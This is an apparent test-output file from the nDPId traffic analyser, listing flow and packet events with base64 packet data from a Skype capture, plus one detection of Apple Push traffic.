+00438{"flow_id":251,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2026,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":545548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PU9AAEAGwmXAqAEiVh8jHsPD6OVaW8L1OrkzbYAZECmdRQAAAQEICj4jrysAGgO9IXsnOyU+9vo="} +00426{"flow_id":263,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2034,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":603510,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0dJ9AADAGrxxRhRO5wKgBIq2Pw8wuoXfzc0VjLoAQECkqFgAAAQEICgKwNyM+I68a"} +00504{"flow_id":230,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2042,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":781540,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABtgVZAAEAG1yPAqAEiQTffD8O2Abu4rlOMyHp2R4AZECxe8AAAAQEICj4jsBEuudPpI5bq6HMzIBDTkc9VEw4iCS9khhJElSKv7lgEA0wtqe8DbuphtcTug+qyZjVGz2PfJmKteoTIZ7xX"} +00437{"flow_id":262,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2043,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":788496,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8IDhAAEAG2jLAqAEiUA4uecPLET9q+leLFCuFJYAYECk9VwAAAQEICj4jsBcAA1WWI9QHv+GwZuI="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2044,"source":"skype.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":1,"flow_first_seen":1431969717899,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"17.143.160.22","dst_ip":"192.168.1.34","src_port":5223,"dst_port":49447,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00714{"flow_id":264,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2044,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":899953,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"PBXCt3IO0NQSxnP1CABFAAEJlCBAADAGQl8Rj6AWwKgBIhRnwSeBM8VdlvCqUoAYASHIigAAAQEIClVKAjo+IiGKFwMBANBGiA2FCgkg8zogS8Wv8uA0hKKXZpqXahZerQ98bBCn7C+LnTtdb1gFMe8akVD0ZXaKV2LbbgrevU7SQvBoNrIKmLDngOd7HnJnwMZSKAgZhBWjSGnNxPPChGecLDOMDXdtNcHO5aH0kerDi4eahd\/xxcweKHEqdaSg9EF7AN1znxgL9Vtu5lzdAyFIAlRZuEfAfgPOG5VblTu4iCKf5kwtqrTH0XrU9yr9hT+57cz\/TU37sy04NvAQJNXRsNfuIJU+SbJ1mgQuWHV+U5AtBgSt"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2044,"source":"skype.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":1,"flow_first_seen":1431969717899,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"17.143.160.22","dst_ip":"192.168.1.34","src_port":5223,"dst_port":49447,"l4_proto":"tcp","ndpi": {"proto":"ApplePush.Apple","breed":"Safe","category":"Cloud"}} +00426{"flow_id":264,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2045,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":900063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ie5AAEAGPWbAqAEiEY+gFsEnFGeW8KpSgTPGMoAQD\/lO7gAAAQEICj4jsIZVSgI6"} +00551{"flow_id":264,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2046,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":901263,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACOywdAAEAG+\/LAqAEiEY+gFsEnFGeW8KpSgTPGMoAYEAClWwAAAQEICj4jsIdVSgI6FwMBACBFSXcAQNGwOhcu0QVlHuKzyvFkGgpCme0Kai94jEbJ0RcDAQAwQN+VK2ikiOW7uk5UyLlTNolrUZSBmQX1wD8NXzXPIFfAPuABh4UNMZuiOLR\/\/d5p"} +00617{"flow_id":243,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2047,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":905976,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"PBXCt3IOxCwDBkn+CABFAADBmPEAAP8RfzrAqAFc4AAA+xTpFOkArRpOAAAAAAAEAAMAAAAAC19hZnBvdmVydGNwBF90Y3AFbG9jYWwAAAwAAQRfcmZiwBgADAABBF9zbWLAGAAMAAEGX2FkaXNrwBgADAABwAwADAABAAAPuAAWE0x1Y2HigJlzIE1hY0Jvb2tQcm\/ADMAMAAwAAQAADAoAEA1MdWNh4oCZcyBpTWFjwAzAMwAMAAEAAAwKABANTHVjYeKAmXMgaU1hY8Az"} +00650{"flow_id":244,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2048,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":906509,"pkt_caplen":227,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":227,"pkt_l4_len":173,"pkt":"MzMAAAD7xCwDBkn+ht1gAU9NAK0R\/\/6AAAAAAAAAxiwD\/\/4GSf7\/AgAAAAAAAAAAAAAAAAD7FOkU6QCtrJ4AAAAAAAQAAwAAAAALX2FmcG92ZXJ0Y3AEX3RjcAVsb2NhbAAADAABBF9yZmLAGAAMAAEEX3NtYsAYAAwAAQZfYWRpc2vAGAAMAAHADAAMAAEAAA+4ABYTTHVjYeKAmXMgTWFjQm9va1Byb8AMwAwADAABAAAMCgAQDUx1Y2HigJlzIGlNYWPADMAzAAwAAQAADAoAEA1MdWNh4oCZcyBpTWFjwDM="} +00489{"flow_id":230,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2049,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":910739,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"PBXCt3IO0NQSxnP1CABFAABgpbRAADcGu9JBN98PwKgBIgG7w7bIenaWuK5TxoAZAB3GRgAAAQEICi653wQ+I7AREcUAnu3KQPWF5+KnxD9SPj1\/du47kWuqA+Y5cuLE4NgR02T7q4mUUlyKkSM="} +00410{"flow_id":230,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2050,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":910804,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAopvdAAEAGscfAqAEiQTffD8O2Abu4rlPGAAAAAFAEAAD76AAA"} +00462{"flow_id":208,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2051,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":938891,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOD61AAEAG39zAqAEi1cezjsOfAbt1SdzkHtgDwIAZECylBgAAAQEICj4jsKtQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00439{"flow_id":224,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2052,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":944695,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8u05AAEAGA5jAqAEib91KLsOwnFtwFACeyWA\/QIAZECqHvwAAAQEICj4jsLBNhWV5MasRplDVU5Q="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2055,"source":"skype.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":1,"flow_first_seen":1431969717949,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":50125,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":265,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2055,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":949030,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA1MFAAEAGbfDAqAEiW77afcPNMD7mkcxwAAAAALAC\/\/+pEQAAAgQFtAEDAwUBAQgKPiOwswAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2056,"source":"skype.pcap","alias":"nDPId-test","flow_id":266,"flow_packet_id":1,"flow_first_seen":1431969717949,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.23","src_port":50126,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":266,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2056,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":949481,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAjMJAAEAGuFXAqAEiW77YF8POMD6CImXAAAAAALAC\/\/92lQAAAgQFtAEDAwUBAQgKPiOwtAAAAAAEAgAA"} +00437{"flow_id":266,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2057,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":992463,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGUBRbvtgXwKgBIjA+w86t1YyggiJlwaASOJDgygAAAgQFrAQCCAoNJSaXPiOwtAEDAwk="} +00425{"flow_id":266,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2058,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":992568,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ynpAAEAGeqnAqAEiW77YF8POMD6CImXBrdWMoYAQECw3ygAAAQEICj4jsN8NJSaX"} +00509{"flow_id":266,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2059,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969717,"pkt_ts_usec":993112,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwNk9AAEAGDpnAqAEiW77YF8POMD6CImXBrdWMoYAYECxRwQAAAQEICj4jsN8NJSaX054\/x27CkB40M4zTRTB1beE56lLVTpv0SdQZMV+Gxe2vLfYhGBuOPdkXmeD3ZdZFGKnG\/6TFMnvwoV63"} +00427{"flow_id":265,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2062,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":10659,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0kN5AAPQG\/d5bvtp9wKgBIjA+w83ZQ\/6U5pHMcYASH\/7YKwAAAgQFoAEDAwQBAQQC"} +00408{"flow_id":265,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2063,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":10779,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAonhdAAEAGpLLAqAEiW77afcPNMD7mkcxx2UP+lVAQIAAY5QAA"} +00505{"flow_id":265,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2064,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":11418,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABtsS5AAEAGkVbAqAEiW77afcPNMD7mkcxx2UP+lVAYIACr\/AAAb8pkkMLyP1ReSzUDlnYO\/rcL1FqiCX+mFcfIwCBq9LukASeON+T+rYpdCovo\/4IhDA3aA9hphr9khfI7sGEed7z9CnOI"} +00513{"flow_id":229,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2065,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":16390,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"0NQSxnP1PBXCt3IOCABFAABzpBJAAEAGS8DAqAEinTfrsMO1AbsGcnEY78av6oAZECw7LQAAAQEICj4jsPVF6hY3sJ5M2vPvqN11yHQsLBYX78Fbyq3x3hepbRjJ8YnhMbQPilSaKG1RU\/yixUsT4fxcBNvK\/vN9qGK86WKCmteS"} +00425{"flow_id":266,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2066,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":35993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0qgBAADUGphtbvtgXwKgBIjA+w86t1YyhgiJl\/YAQAB1HkwAAAQEICg0lJqE+I7Df"} +00576{"flow_id":266,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2067,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":36165,"pkt_caplen":172,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":172,"pkt_l4_len":138,"pkt":"PBXCt3IO0NQSxnP1CABFCACeqgFAADUGpbBbvtgXwKgBIjA+w86t1YyhgiJl\/YAYAB305gAAAQEICg0lJqI+I7DfpZJiMhKXEGj7AQ\/2AdpH02RX++LOapULNWFXwVSIveJJkbTQ+2I8jxHwmp+B\/Fy3QLEuR0xNGkMYqcb\/pMUye\/ChXrf8PUqzyJn2b1S1YuugkY4nrC16I3iJJt8EpZJbUIG7AMRNwGL46w=="} +00424{"flow_id":266,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2068,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":36222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WTZAAEAG6+3AqAEiW77YF8POMD6CImX9rdWNC4AQECg29AAAAQEICj4jsQgNJSai"} +00437{"flow_id":266,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2069,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":36805,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8IzVAAEAGIefAqAEiW77YF8POMD6CImX9rdWNC4AYECiQhwAAAQEICj4jsQgNJSaium5jNp\/t6Mk="} +00417{"flow_id":265,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2070,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":73674,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAohChAADcGx6Fbvtp9wKgBIjA+w83ZQ\/6V5pHMtlAQA6A1AAAAAAAAAAAA"} +00425{"flow_id":264,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2072,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":128602,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0lCFAADAGQzMRj6AWwKgBIhRnwSeBM8YylvCqrIAQASFchwAAAQEIClVKAx4+I7CH"} +00440{"flow_id":252,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2075,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":192620,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8W25AAEAGfqPAqAEiUVNNjcPEROe9aVaB2bol\/oAZEClZewAAAQEICj4jsaIAupldFs\/7EKwgSC8="} +00513{"flow_id":224,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2076,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":237742,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"PBXCt3IO0NQSxnP1CABFAAByWnZAADYGbjpv3UouwKgBIpxbw7DJYD9IcBQAp4AZAB159QAAAQEICk2FciY+I7CwmAIXkyBXzHE154LabKT7fJo+gXNAEWzUURQTrLo9dtJdHsP4Dv0+8630BSXoEtPs\/t59yXG3UZA5xAHlgzk="} +00410{"flow_id":224,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2077,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":237861,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAopbNAAEAGGUfAqAEib91KLsOwnFtwFACnAAAAAFAEAABjQwAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2078,"source":"skype.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":1,"flow_first_seen":1431969718289,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.14.46.121","src_port":50127,"dst_port":4415,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":267,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2078,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":289986,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAEiZAAEAG6EDAqAEiUA4uecPPET\/DDsi2AAAAALAC\/\/+lsQAAAgQFtAEDAwUBAQgKPiOyAgAAAAAEAgAA"} +00438{"flow_id":248,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2079,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":316293,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA80FVAAEAGuu7AqAEiTKehBsPATzJsmy887NUaAIAYECgrbAAAAQEICj4jshy+oN9kxXgAHFm0KHI="} +00878{"flow_id":266,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2080,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":350462,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGAeNBAAEAGywfAqAEiW77YF8POMD6CImX9rdWNC4AYECj+9gAAAQEICj4jsj4NJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} +00445{"flow_id":267,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2084,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":386067,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABAoSFAAHQGJUVQDi55wKgBIhE\/w88Zt5eOww7It7AS\/\/\/jjAAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00426{"flow_id":267,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2085,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":386143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0PHJAAEAGvgDAqAEiUA4uecPPET\/DDsi3GbeXj4AQECwjnwAAAQEICj4jsmEAAAAA"} +00485{"flow_id":267,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2086,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":386270,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABe99hAAEAGAnDAqAEiUA4uecPPET\/DDsi3GbeXj4AYECyaqAAAAQEICj4jsmEAAAAA1Uc7quK1zgneI1k5R8RQJbdfkZbM+4zLraYH\/YFcifeexP+WGe1tSG6F"} +00438{"flow_id":257,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2087,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":432624,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83z1AAEAGNHbAqAEiUYUTucPKrY8W93Zm19BG5IAZECk1twAAAQEICj4jso8CsDJIZdJpfu5kCPY="} +00437{"flow_id":262,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2088,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":439428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8xOJAAEAGNYjAqAEiUA4uecPLET9q+leLFCuFJYAYECk62QAAAQEICj4jspUAA1WWI9QHv+GwZuI="} +01479{"flow_id":253,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2089,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969718,"pkt_ts_usec":444072,"pkt_caplen":843,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":843,"pkt_l4_len":809,"pkt":"0NQSxnP1PBXCt3IOCABFAAM97WdAAEAGONDAqAEiR+4Hy8PFSU9+U7ENuquX5IAYECoiDQAAAQEICj4jspkDHKOUrkeiDyFksCg2+9IK7oLqv8M1CxFHzw2r8IhLkT96tl1VsjAknQKHMephN8iAe3RhFiUErcHvLRCiUpz9HLtDLk4mvj2q0Imq2va+0CIKx0mM54nGsjZcsXKUAypiX1OwGJaL+pJ7UeJlzJDaW4R2u6N1VL+8RKWojSe1\/qVMEWLbkoXwuEWDBFTAdMbIhpZm\/\/xCU06HF\/s2EZxCdZ7NgDhbTyla8JTM\/dPfn7UyEJl4msCwaO05oxpko1Fm4FEid0y3BPPlZWWy\/3y\/ZeVN3PbjqDDqF0HTJPZiIb